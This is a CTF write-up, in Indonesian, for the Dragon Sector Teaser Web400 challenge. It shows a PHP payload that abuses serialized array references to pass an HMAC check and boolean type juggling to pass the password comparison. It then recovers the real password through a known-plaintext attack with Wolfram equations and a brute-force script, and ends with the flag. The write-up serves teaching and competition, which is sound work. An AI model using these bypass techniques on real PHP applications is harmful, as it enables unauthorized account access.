Dragon Sector CTF Teaser ini merupakan CTF Teaser untuk individual. Saya hanya akan membahas soal Web400 karena untuk soal yang lain yang berhasil saya selesaikan, sudah banyak yang membahas.
Soal CTFnya adalah:
Fiery Technologies has created a new login system, where all secret messages are encoded. Please, check if you can bypass the authorization and read dragon's private stuff: http://23.253.207.102/
Sesuai isi webnya, kita bisa login sebagai guest password guest. Setelah login, kita diberikan source code website ini, tentunya dengan sebagian informasi tidak muncul.
Bagian penting yang memeriksa login adalah sebagai berikut:
$auth = unserialize($auth);
if(!is_array($auth))
return false;
$auth['hmac_t'] = sha1(sha1($auth['username'].$auth['hmac_t'].$auth['password']).$secret_salt);
if($auth['hmac_t'] !== $auth['hmac'])
return false;
$message = '';
foreach($database as $row)
{
if($row['username'] == $auth['username'])
if($row['password'] == $auth['password'])
{
$message = $row['secret_message'];
return true;
}
}
Ada beberapa pemeriksaan yang dilakukan:
- Setelah unseralize(), “auth” harus berupa array
- Nilai $auth['hmac_t'] harus sama dengan $auth['hmac']
- Username harus sama dengan database ($row[“username”])
- Password harus sama dengan database ($row[“password”])
Pemeriksaan pertama artinya kita tidak bisa menggunakan attack berbasis unserialize yang menghasilkan PHP class (dan di soal ini memang tidak ada kelas PHP sama sekali). Untuk bagian kedua, sepertinya sulit, karena kita tidak tahu secret_salt maupun password. Tapi PHP memiliki fitur “reference” dan di dalam array, kita bisa memiliki “self reference”.
Self reference ini sifatnya bisa “forward reference”:
<?php
$a = array();
$a["hello"] = &$a["world"];
$a["world"] = "Hi there";
echo $a["hello"];
?>
Hasilnya adalah “Hi There”. Jadi kita bisa mengassign bahwa $a[“hello”] adalah reference ke $a[“world”], padahal $a[“world”] belum didefinisikan sampai baris berikutnya.
Nah untuk membypass pemeriksaan HMAC, kita bisa melakukan ini:
<?php
$auth = array();
$auth["username"] = "dragon";
$auth["hmac_t"] = "b";
$auth["hmac"] = &$auth["hmac_t"];
echo urlencode(serialize($auth));
?>
Setelah $auth[“hmac_t”] dihitung nilainya, $auth[“hmac”] akan selalu sama nilainya dengan $auth[“hmac_t”], dan ketika dibandingkan memakai strict comparison (===) hasilnya akan sama. Jadi pemeriksaan hmac akan lolos.
Berikutnya adalah pemeriksaan username: dari file database.php, bisa dilihat bahwa ada dua username: “guest” dan “dragon”. Jadi kita bisa memakai username “dragon” (karena itu yang kita inginkan).
Untuk pemeriksaan password, digunakan operator “==” dan bukan “===”, jadi kita bisa menggunakan trik PHP ini:
echo “anystring”==(boolean)1;
Karena sisi kanan adalah boolean, makan perbandingan boolean akan dilakukan, dan jika string tidak kosong, maka PHP akan melakukan cast string menjadi boolean true.
Dengan menambahkan ini, kita akan membypass semua requirement di atas:
$auth["password"] = (boolean)1;
Di dalam index.php, kita melihat kode ini:
printmsg($message,$auth['password'])
Kita berhasil menipu proses login, sehingga bisa masuk ke index.php, tapi $message didekrip dengan menggunakan key (boolean)1, bukan password yang benar, jadi teks yang muncul kacau. Langkah berikutnya adalah: kita harus bisa mendekrip dengan password yang benar, tapi apa passwordnya?
Jika kita lihat hasil dekripsi dari beberapa dua blok pertama ketika kita login sebagai guest, terlihat dua string ini sebagai dua blok pertama: “ <h1>You'” (dalam hex: 20202020202020203c68313e596f7527) dan “re logged in as “ (dalam hex: 7265206c6f6767656420696e20617320). Perhatikan: aneh sekali ada spasi di depan “<h1>You”. Seolah-olah ini sengaja dibuat sebagai known plaintext yang akan tetap sama ketika kita login sebagai user mana saja. Berbekal dua blok itu, berikutnya akan kita coba known plaintext attack.
Sebelum melakukan known plaintext attack, kita harus mendapatkan dulu string aslinya sebelum dienkrip dengan (boolean)1.
Fungsi printmsg adalah seperti berikut ini. Ini merupakan modulo-encryption
<?php
function printmsg($message,$pwd)
{
$mod = gmp_init('fffffffdffffffffffffffffffffffff',16);
$mul = gmp_init('b562a81099dff41937c5ae51ba7427a4',16);
$key = str_repeat(sprintf('%04x',crc32($pwd)&0xffff),8);
$key = gmp_init($key,16);
$pwd = gmp_init($pwd,16);
for($i=0;$i<strlen($message);$i+=32)
{
$msg = substr($message,$i,32);
$msg = gmp_init($msg,16);
$msg = gmp_add($msg,$pwd);
$msg = gmp_mul($msg,$mul);
$msg = gmp_add($msg,$key);
$msg = gmp_mod($msg,$mod);
$msg = gmp_strval($msg,16);
$msg = str_pad($msg,32,'0',STR_PAD_LEFT);
$msg = pack('H*',$msg);
echo $msg;
}
}
?>
Operasi yang dilakukan pada kode di atas adalah: untuk tiap satu blok 16 byte (32 byte string heksadesimal), lakukan ini:
decrypted = ((msg + pwd) * mul + key) % mod
Kita tahu bahwa string yang kita dapat (decrypted) adalah hasil dari dekripsi dengan key 1. Jadi kita perlu kembalikan lagi pesan yang aslinya
decrypted = ((msg + 1) * mul + key) % mod
Nilai key kita ketahui dari:
<?php
$key = str_repeat(sprintf('%04x',crc32($pwd)&0xffff),8);
?>
Yang mengulangi hasil crc32($pwd) dalam bentuk heksadesimal sebanyak 8 kali. Dalam kasus ini:
echo str_repeat(sprintf('%04x',crc32(“1”)&0xffff),8);
Hasilnya adalah:
efb7efb7efb7efb7efb7efb7efb7efb7
Dengan menggunakan hex editor, saya mendapatkan data yang diterima dari server
83b36a91153e36d645b3cc5b24e349c4d5f86add64857e1b6d6c048aebd547bdc805abd8648 …
Kita hanya perlu dua blok pertama saja (karena hanya punya dua plaintext):
83b36a91153e36d645b3cc5b24e349c4 dan d5f86add64857e1b6d6c048aebd547bd
Kita bisa menggunakan Wolfram di Raspberry Pi, untuk menyelesaikan persamaan tersebut. Tuliskan persamaannya apa adanya, tambahkan Solve, dan tambahkan bahwa persamaan ini dilakukan dalam Modulo tertentu (prefix 16^^ adalah untuk menyatakan literal heksadesimal):
Solve[{((msg + 1)*16^^b562a81099dff41937c5ae51ba7427a4+
16^^efb7efb7efb7efb7efb7efb7efb7efb7) ==
16^^83b36a91153e36d645b3cc5b24e349c4},
{msg}, Modulus –> 16^^fffffffdffffffffffffffffffffffff]
Dan hasilnya:
{{msg -> 223771863340694085175727173816760330489}}
Atau dalam hexadesimal: a858e4aad8cfbb2da797ac107c72e8f9. Kita lakukan hal yang sama untuk blok kedua:
Solve[{((msg + 1)*16^^b562a81099dff41937c5ae51ba7427a4+
16^^efb7efb7efb7efb7efb7efb7efb7efb7) ==
16^^d5f86add64857e1b6d6c048aebd547bd},
{msg}, Modulus –> 16^^fffffffdffffffffffffffffffffffff]
Dan hasilnya:
{{msg -> 242594421588216051499208124666235775630}}
Dalam heksadesimal: b681fc704017fe8f5ce577d699c6ea8e
Sekarang kita punya 2 data asli sebelum dienkrip, dan 2 known plaintext:
a858e4aad8cfbb2da797ac107c72e8f9 –> known plaintext = 20202020202020203c68313e596f7527
b681fc704017fe8f5ce577d699c6ea8e -> known plaintext = 7265206c6f6767656420696e20617320
Berdasarkan rumus dekripsi di atas:
decrypted = ((msg + pwd) * mul + key) % mod
Kita punya 2 persamaan, dengan 2 unknown (pwd dan key). Kita selesaikan ini dalam wolfram:
Solve[
{ ((16^^a858e4aad8cfbb2da797ac107c72e8f9 + pwd)*
16^^b562a81099dff41937c5ae51ba7427a4+key)
== 16^^20202020202020203c68313e596f7527,
((16^^b681fc704017fe8f5ce577d699c6ea8e + pwd)*
16^^b562a81099dff41937c5ae51ba7427a4+key)
== 16^^7265206c6f6767656420696e20617320}
,{pwd, key},
Modulus –> 16^^fffffffdffffffffffffffffffffffff]
Hasilnya:
{{pwd -> 288594978817253855719850634468445308235 + 340253855540352171535659707399537251486 C[1], key -> C[1]}}
Perhatikan bahwa nilai key adalah C[1] dan nilai pwd dinyatakan dalam A+B*C[1], ini artinya ada banyak solusi, kita bisa menggunakan key berapa saja, dan kita bisa mendapatkan nilai pwd yang sesuai persamaan tersebut. Meski wolfram menyatakan bahwa nilai C bisa apa saja, dari kode dekripsi kita mengetahui bahwa nilai C ini merupakan hasil repetisi dari crc332(x)&0xffff, karena operasi AND dengan 0xffff, maksimum hanya ada 65536 key yang mungkin. Jadi algoritmanya adalah: untuk tiap i dari 0 sampai 65535 buat nilai C (nilai key), lalu hitung nilai pwd berdasarkan formula hasil wolfram, lalu cek apakah crc32(pwd)&0xffff sama dengan i yang kita gunakan untuk menghasilkan C.
Kita bisa membrute force ini dengan cepat di PHP (perhatikan kode yang dicomment, saya mencoba dulu untuk account guest, untuk memastikan bahwa algoritma ini berhasil):
<?php
//dragon: {{key -> 288594978817253855719850634468445308235 + 340253855540352171535659707399537251486 C[1], n -> C[1]}}
//guest: {{key -> 280430390139727558925837228457913706258 + 340253855540352171535659707399537251486 C[1], n -> C[1]}}
$mod = gmp_init('fffffffdffffffffffffffffffffffff',16);
#for dragin
$k = gmp_init("288594978817253855719850634468445308235", 10);
$m = gmp_init("340253855540352171535659707399537251486", 10);
#test for guest
#$k = gmp_init("280430390139727558925837228457913706258", 10);
#$m = gmp_init("340253855540352171535659707399537251486", 10);
for ($i= 0; $i<65536; $i++) {
$h = str_repeat(sprintf('%04x',$i&0xffff),8);
$z = gmp_init($h, 16);
$n = gmp_mul($z, $m);
$p = gmp_add($n, $k);
$p = gmp_mod($p,$mod);
$key = gmp_strval($p, 16);
$key = str_pad($key,32,'0',STR_PAD_LEFT);
if ((crc32($key)&0xffff)==$i) {
print "found key: ". $key." ".$h."\n";
}
}
?>
Hasilnya:
found key: 7964d5b99f9ee50d04da5046d15ea053 486e486e486e486e486e486e486e486e
found key: 1b306891ad8f289d4ba3a294014f5329 722b722b722b722b722b722b722b722b
found key: 7864d3604826ee20dc500b9c1e2f143d 85928592859285928592859285928592
Secara matematis, semua nilai tersebut bisa digunakan untuk mendekrip message, tapi saat ini kita hanya punya dua blok awal message (sisanya adalah encrypted data yang didekrip dengan key (boolean)1), dan saya malas untuk mencari encrypted text asli dari semua blok messagenya. Karena hanya ada 3 kemungkinan, saya melakukan brute force saja. Meskipun semua key bisa digunakan untuk mendekrip pesan, tapi password yang disimpan di server hanya salah satu dari key tersebut, jadi kita perlu mencoba-coba.
Kita bisa langsung mencoba 3 solusi tersebut dengan curl. Solusi pertama dan kedua gagal, dan solusi ketiga berhasil (7864d3604826ee20dc500b9c1e2f143d), untuk mendapatkan flagnya, kita set $auth[“password”]=”7864d3604826ee20dc500b9c1e2f143d”:
Dan kita dapatkan flagnya:
<div class="jumbotron">
<div class="container">
<h1>You're logged in as dragon! </h1>
<p>Congratulations! You've found the flag:</p>
<p><a class="btn btn-primary btn-lg" role="button" href="javascript:void(prompt('The Flag','DrgnS{2971f86fc7a161d514e7dbdad5dbfa26}'))">« DrgnS{2971f86fc7a161d514e7dbdad5dbfa26} »</a></p>
</div>
</div>